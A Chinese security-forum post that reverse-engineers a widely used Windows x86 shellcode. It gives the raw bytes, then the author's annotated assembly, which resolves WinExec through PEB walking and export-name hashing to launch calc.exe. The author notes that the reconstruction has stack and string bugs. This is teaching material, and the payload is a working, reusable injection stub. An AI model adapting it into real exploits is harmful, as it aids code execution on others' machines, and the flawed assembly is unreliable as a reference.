[原创]根据一个通用的shellcode 还原的一段汇编代码
0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
上面这段是网上比较流行的一段shellcode,但是不能只用人家的,为了将来方便使用,基于原理还原了他的汇编代码
首先原理部分可以根据:
http://bbs.pediy.com/showthread.php?t=99007
写的很详细
__asm{
jmp start //跳入开始
start:
sub esp, 8 //申请空间 存储寻找到的API地址
mov ebp, esp
call find_kernel_base_address
mov edx,eax //eax dllbase_address
call list_api
cwde //非汇编指令 WinExec hash值
dec byte ptr [edx-1D2781F2h] //同上
jnb for_73 //仅仅是为了得到 0x73
for_73:
test eax,eax //填充指令 无用
retn
///////////////////////////////////////////////////////////////////////////////////////////////////////
find_kernel_base_address:
xor ecx, ecx
mov esi, fs:[ecx+30h] //fs TEB
mov esi, [esi+0Ch] //peb
mov esi, [esi+1Ch] //modoulist 动态链接库的双向链表
find_baseaddress:
mov eax, [esi+8] //存储动态链接库的基地址
mov edi, [esi+20h] //对应动态链接库名字地址
mov esi, [esi]
cmp [edi+18h], cx //查看是否为0 查找kernel
jnz find_baseaddress
retn
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
list_api:
pop esi
mov ecx, esi
add ecx, 8
mov edi,ebp
fun:
call find_api
cmp esi, ecx
lea edi, [ebp+4]
jnz fun
call exec
arpl [ecx+6Ch], sp //pop 参数
arpl [esi], bp //参数
js fast_error_exit //参数 这部分实现有些问题 需要利用OD更该字符串为65 78 65 00
fast_error_exit: //同上
test eax,eax //同上
retn
exec: //执行WinExec and exit
pop ebx
xor eax, eax
push eax
push ebx
call dword ptr [ebp] //windnexec
xor eax, eax
push eax
call dword ptr [ebp+4] //退出
find_api:
lodsd
push eax //api_hash com from
push edx //dllbase_address
call check_api
mov [edi], eax
pop edx
pop eax
retn
check_api:
push ecx //
push esi
push ebp
push edi
mov ebp, [esp+14h] //esp dllbase_address
mov eax, [ebp+3Ch] //IMAGE_DOS_HEADER->e_lfanew
mov edx, [ebp+eax+78h] //IMAGE_NT_HEADERS->OptinalHeader.DataDirectory[EAT].VirtualAddress
add edx, ebp
mov ecx, [edx+18h] //funapi_num
mov ebx, [edx+20h] //IMAGE_EXPORT_DESCRIPTOR->AddressOfNames RVA
add ebx, ebp // ebx is EAT's virtual address,we’ll use it later
re_find_api:
jecxz jump_out
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
api_hash:
lodsb
test al, al
jz cmp_hash
ror edi, 0Dh
add edi, eax
jmp api_hash
cmp_hash:
cmp edi, [esp+18h] //api_hash esp+18h is winexec hash
jnz re_find_api
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
jump_out:
pop edi
pop ebp
pop esi
pop ecx
retn
这个程序 栈控制有些问题,但是好在最后是寻找exit 直接退出,所以还可以完成功能
